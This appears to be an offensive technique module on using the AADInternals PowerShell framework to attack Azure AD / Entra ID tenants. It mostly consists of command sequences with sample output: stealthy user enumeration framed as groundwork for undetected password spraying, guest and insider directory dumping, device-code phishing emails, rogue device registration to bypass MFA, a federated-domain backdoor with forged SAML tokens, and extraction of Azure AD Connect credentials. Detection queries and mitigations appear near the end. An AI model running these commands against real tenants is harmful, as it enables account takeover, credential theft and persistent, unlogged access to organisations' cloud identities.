| Field | Value |
|---|---|
| Module ID | REC-CLOUD-004 |
| Technique Name | AADInternals tenant reconnaissance |
| MITRE ATT&CK ID | T1590.001 – Gather Victim Network Information: Domain Properties; T1087.004 – Account Discovery: Cloud Account |
| CVE | N/A (Legitimate security research framework) |
| Platform | Microsoft Entra ID / Azure AD / Office 365 |
| Viability Status | ACTIVE ✓ |
| Difficulty to Detect | HIGH (outsider recon uses public APIs; guest/insider enumeration unlogged) |
| Requires Authentication | No (outsider level); Yes for guest/insider levels |
| Applicable Versions | All Azure AD tenants, hybrid environments, Office 365 |
| Last Verified | December 2025 |
| Tool Author | Dr. Nestori Syynimaa (@DrAzureAD) |
| Repository | https://github.com/Gerenios/AADInternals |
| Website | https://aadinternals.com |
| MITRE Software ID | S0677 |
| Author | SERVTEP – Artur Pchelnikau |
AADInternals is a comprehensive PowerShell-based framework for Azure Active Directory reconnaissance, administration, and exploitation that operates across three distinct access levels: outsider (unauthenticated public API reconnaissance), guest user (invited team member with read-only access), and insider (authenticated user with full directory access). Uniquely, AADInternals enables reconnaissance activities that range from completely undetectable (outsider enumeration) to unlogged internal discovery (guest user enumeration), making it exceptionally difficult to detect across the entire reconnaissance spectrum.
Threat Profile:
Strategic Capabilities:
Business Impact:
Install-Module AADInternals (from PSGallery)Objective: Enumerate Azure AD tenant information using only public APIs.
# Install module
Install-Module AADInternals -Scope CurrentUser -Force
# Method 1A: Get tenant ID from domain
Get-AADIntTenantID -Domain "company.com"
# Output:
# TenantId: 05aea22e-32f3-4c35-831b-52735704feb3
# Method 1B: Get all tenant domains
Get-AADIntTenantDomains -Domain "company.com"
# Output shows all domains, auth type, MX records, SPF
# Method 1C: Get login information (tenant name, SSO status)
Get-AADIntLoginInformation -UserName "user@company.com"
# Output:
# Tenant Name: company
# Tenant Brand: Company Ltd
# Tenant ID: 05aea22e-32f3-4c35-831b-52735704feb3
# Desktop SSO enabled: True
# Password required: True
# Method 1D: Full outsider reconnaissance
Invoke-AADIntReconAsOutsider -DomainName "company.com"
# Output table showing:
# - Tenant brand and name
# - Desktop SSO status
# - All domains (verified + unverified)
# - Domain types (Federated vs Managed)
# - ADFS/STS server FQDN
# - MX and SPF records
Key Findings from Outsider Recon:
Objective: Determine if target users exist in Azure AD.
# Method 2A: Simple user existence check (logged)
Invoke-AADIntUserEnumerationAsOutsider -UserName "admin@company.com"
# Output:
# UserName Exists
# -------- ------
# admin@company.com True
# Method 2B: Bulk enumeration from wordlist (logged)
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Normal
# users.txt format:
# user1@company.com
# user2@company.com
# admin@company.com
# test@company.com
# Method 2C: Autologon enumeration (NOT LOGGED in sign-in logs)
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Autologon
# Key advantage: Autologon method queries are invisible
# Perfect for password spray without detection
# Method 2D: Login method enumeration
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Login
# Tries to log in as each user (LOGGED - use with caution)
Detection Evasion:
Objective: Enumerate Azure AD from guest user account (invited to Teams/SharePoint).
# Prerequisites: Guest user invited to target tenant
# Step 1: Get access token for Azure Core Management (guest context)
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
# Step 2: List available tenants (guest may have access to multiple)
Get-AADIntAzureTenants
# Output:
# Id: 6e3846ee-e8ca-4609-a3ab-f405cfbd02cd
# Name: Company Ltd
# Domains: {company.onmicrosoft.com, company.com, ...}
# Step 3: Get token for target tenant
Get-AADIntAccessTokenForAzureCoreManagement -Tenant 6e3846ee-e8ca-4609-a3ab-f405cfbd02cd -SaveToCache
# Step 4A: Full guest reconnaissance
$recon = Invoke-AADIntReconAsGuest
# Output shows:
# - Tenant brand/name
# - Domain information (ALL domains, even unverified)
# - Guest user's allowed actions (read/update permissions)
# - Number of Azure AD objects
# Step 4B: User enumeration via group relationships
$results = Invoke-AADIntUserEnumerationAsGuest -GroupMembers -Manager -Subordinates -Roles
# Returns users discovered through:
# - Group memberships
# - Manager relationships
# - Subordinates
# - Directory roles
# Step 4C: Extract specific user's groups
$results = Invoke-AADIntUserEnumerationAsGuest -UserName "user@company.com" -GroupMembers -Manager -Subordinates
# Key finding: Dynamic groups (all users, all guests) expose entire directory to guests!
Guest User Capabilities (Despite Documentation):
Objective: Full directory enumeration with authenticated user credentials.
# Step 1: Authenticate as insider user
$username = "admin@company.com"
$password = ConvertTo-SecureString -String "Password123!" -AsPlainText -Force
$cred = New-Object PSCredential($username, $password)
# Step 2: Get access token
$token = Get-AADIntAccessTokenAsUser -UserName $username -Password $password -SaveToCache
# Step 3: Full insider reconnaissance
Invoke-AADIntReconAsInsider
# Step 4: Enumerate all users
Get-AADIntUsers | Select-Object displayName, userPrincipalName, accountEnabled, lastPasswordChangeDateTime
# Step 5: Enumerate all groups
Get-AADIntGroups | Select-Object displayName, id, members
# Step 6: Enumerate all roles
Get-AADIntRoles | Select-Object displayName, id, members
# Step 7: Enumerate all devices
Get-AADIntDevices | Select-Object displayName, id, deviceId, trustType
# Step 8: Enumerate all apps/SPs
Get-AADIntApplications | Select-Object displayName, appId, permissions
# Step 9: Enumerate conditional access policies
Get-AADIntConditionalAccessPolicies
# Step 10: Full export for offline analysis
Export-AADIntData -Path ./aad-export
Objective: Compromise user credentials via infrastructure-less phishing.
# Prerequisites: SMTP access to send emails
# Method 5A: Simple phishing email
$recipients = "victim@company.com", "victim2@company.com"
$message = "Your password is about to expire. <a href='{1}'>Click here to reset.</a> Code: {0}"
Invoke-AADIntPhishing -Recipients $recipients -Message $message -SaveToCache
# Output:
# Device code: CKDZ2BURF
# User visits: https://microsoft.com/devicelogin
# Enters code: CKDZ2BURF
# If approved: Token saved to cache
# Access to victim's email, OneDrive, Teams, etc.
# Method 5B: Phishing via Teams (less suspicious)
Invoke-AADIntPhishing -Recipients $recipients -Teams -CleanMessage "✓ Verified"
# Sends message via Teams, extracts tokens, replaces with verification check
# Method 5C: Custom message with branding
$message = @'
<img src="https://attacker.com/logo.png">
<p>Your account requires immediate action.</p>
<a href="{1}">Verify your account</a>
<p>Security Code: {0}</p>
'@
Invoke-AADIntPhishing -Recipients $recipients -Message $message -SMTPServer smtp.victim-mail.local -SaveToCache
# Key advantage: No phishing website required, uses legitimate Microsoft endpoints
Objective: Register attacker device to Azure AD for persistent MFA bypass.
# Prerequisites: Valid user credentials (without MFA, or with MFA bypass)
# Step 1: Get access tokens for device registration
$tokens = Get-AADIntAccessTokenForDeviceRegistration -UserName "user@company.com" -Password "password"
# Step 2: Register device
Join-AADIntDeviceToAzureAD -Device "AttackerDevice" -Token $tokens
# Output:
# Device ID: 12345678-1234-1234-1234-123456789012
# Device name: AttackerDevice
# Device registered successfully
# Step 3: Authenticate using device claims
# Next time user logs in, device is trusted
# Device can authenticate without MFA
# Device persists for future access
# Step 4: Verify registration
Get-AADIntDevices | Where-Object displayName -eq "AttackerDevice"
# Output shows device registered and trusted
Impact:
Objective: Convert managed domain to federated for persistent authentication bypass.
# Prerequisites: Global Administrator role required
# Step 1: Get Azure AD Connect certificate
$cert = Get-AADIntAzureADConnectSyncCertificate
# Step 2: Convert domain to federated (creates backdoor)
Convert-AADIntDomainToFederated -DomainName "company.com" -Certificate $cert
# Step 3: Now attackers can forge SAML tokens
# Any email@company.com can authenticate using forged SAML
# MFA is bypassed
# On-premises knowledge not required
# Step 4: Generate SAML token for any user
$saml = New-AADIntSAMLToken -PrivateKey $key -IssuerName "https://sts.company.com/adfs/services/trust" -Subject "admin@company.com"
# Step 5: Use SAML token to access cloud services
# Office 365, SharePoint, Teams, etc. all trust the token
Strategic Impact:
Objective: Extract plaintext passwords from Azure AD Connect service account.
# Prerequisites: Local admin access on Azure AD Connect server
# Method 8A: Dump LSA secrets (local passwords)
Get-AADIntLocalAdminPassword
# Returns passwords of accounts stored in LSA
# Method 8B: Extract Azure AD Connect credentials
Get-AADIntAzureADConnectSyncCredentials
# Returns:
# - Azure AD Connect sync account password
# - ADFS service account password (if configured)
# - Pass-Through Authentication (PTA) account password
# Method 8C: Export sync certificate
$cert = Get-AADIntAzureADConnectSyncCertificate
Export-AADIntCertificateToFile -Certificate $cert -Path ./sync-cert.pfx
| Function | Purpose | Access Level | Detection |
|---|---|---|---|
Get-AADIntTenantID |
Get tenant ID from domain | Outsider | None (public API) |
Get-AADIntTenantDomains |
List all tenant domains | Outsider | None |
Get-AADIntLoginInformation |
Get login details | Outsider | None |
Invoke-AADIntReconAsOutsider |
Full outsider recon | Outsider | None |
Invoke-AADIntUserEnumerationAsOutsider |
User existence check | Outsider | Logged (except autologon) |
Invoke-AADIntReconAsGuest |
Guest-level recon | Guest | Not logged |
Invoke-AADIntUserEnumerationAsGuest |
Guest user enumeration | Guest | Not logged |
Invoke-AADIntReconAsInsider |
Full insider recon | Insider | May be logged |
Invoke-AADIntPhishing |
Device code phishing | Outsider/Insider | Minimal |
Join-AADIntDeviceToAzureAD |
Register device | Insider | Audit log |
Convert-AADIntDomainToFederated |
Create federated backdoor | Global Admin | Audit log |
Get-AADIntAzureADConnectSyncCertificate |
Extract sync cert | Local Admin | None |
Set-AADIntUserMFA |
Disable user MFA | Admin | Audit log |
Get-AADIntAzureTenants |
List guest’s tenants | Guest | Not logged |
$result = Invoke-AADIntReconAsOutsider -DomainName "test.com"
if ($result.tenantId) {
Write-Host "✓ Test PASSED: Tenant ID enumerated"
$result
} else {
Write-Host "✗ Test FAILED"
}
$result = Invoke-AADIntUserEnumerationAsOutsider -UserName "admin@test.com"
if ($result.Exists -eq $true) {
Write-Host "✓ Test PASSED: User exists"
} else {
Write-Host "✗ Test FAILED or user doesn't exist"
}
$result = Get-AADIntAzureTenants
if ($result.count -gt 0) {
Write-Host "✓ Test PASSED: Guest has access to $($result.count) tenants"
} else {
Write-Host "✗ Test FAILED: No guest access detected"
}
SigninLogs
| where TimeGenerated > ago(1h)
| where ResultType == "50058" // MFA required or expired
| summarize Count = count() by UserPrincipalName, IPAddress, bin(TimeGenerated, 5m)
| where Count > 100 // Bulk enumeration threshold
| extend AlertSeverity = "High", TechniqueID = "T1590.001"
AuditLogs
| where OperationName == "Register device"
| extend DeviceName = TargetResources[0].displayName
| summarize Count = count() by InitiatedByUserOrApp = InitiatedBy.user.userPrincipalName, bin(TimeGenerated, 1h)
| where Count > 5 // Unusual number of device registrations
| extend AlertSeverity = "High"
AuditLogs
| where OperationName == "Update domain"
| where tostring(AdditionalDetails) contains "Federated"
| extend AlertSeverity = "Critical", TechniqueID = "T1484.002"
Restrict Guest User Access (Preview Feature)
Do NOT Use Dynamic Groups for “All Users” or “All Guests”
Enable MFA for Device Registration
Restrict User Enumeration (Autologon)
Restrict App Registrations
Monitor Outsider Reconnaissance
Audit Azure AD Connect
Enforce Conditional Access
# Collect sign-in logs showing GetCredentialType enumeration
Get-MgAuditLogSignIn -Filter "status/errorCode eq '50058'" | Export-Csv enum_logs.csv
# Collect device registration events
Get-MgAuditLogDirectoryAudit -Filter "operationName eq 'Register device'" | Export-Csv device_regs.csv
# Collect domain changes
Get-MgAuditLogDirectoryAudit -Filter "operationName eq 'Update domain'" | Export-Csv domain_changes.csv
# Check for registered devices
Get-MgDevice | Select-Object displayName, createdDateTime, approximateLastSignInDateTime
Target: Government and technology sectors
Method: Compromised dormant account (no MFA) → Device registration → Persistent MFA bypass
Attack Flow:
Detection Opportunities (Missed):
| Standard | Requirement | AADInternals Mitigation |
|---|---|---|
| NIST 800-53 | AC-2 (Account Management) | Restrict guest access; monitor enumeration |
| DORA | Identity service resilience | Implement CAP; enable MFA |
| NIS2 | Detection capabilities | Baseline enumeration; alert on deviations |
| ISO 27001 | 8.2 (Access control) | Guest restriction; CAP policies |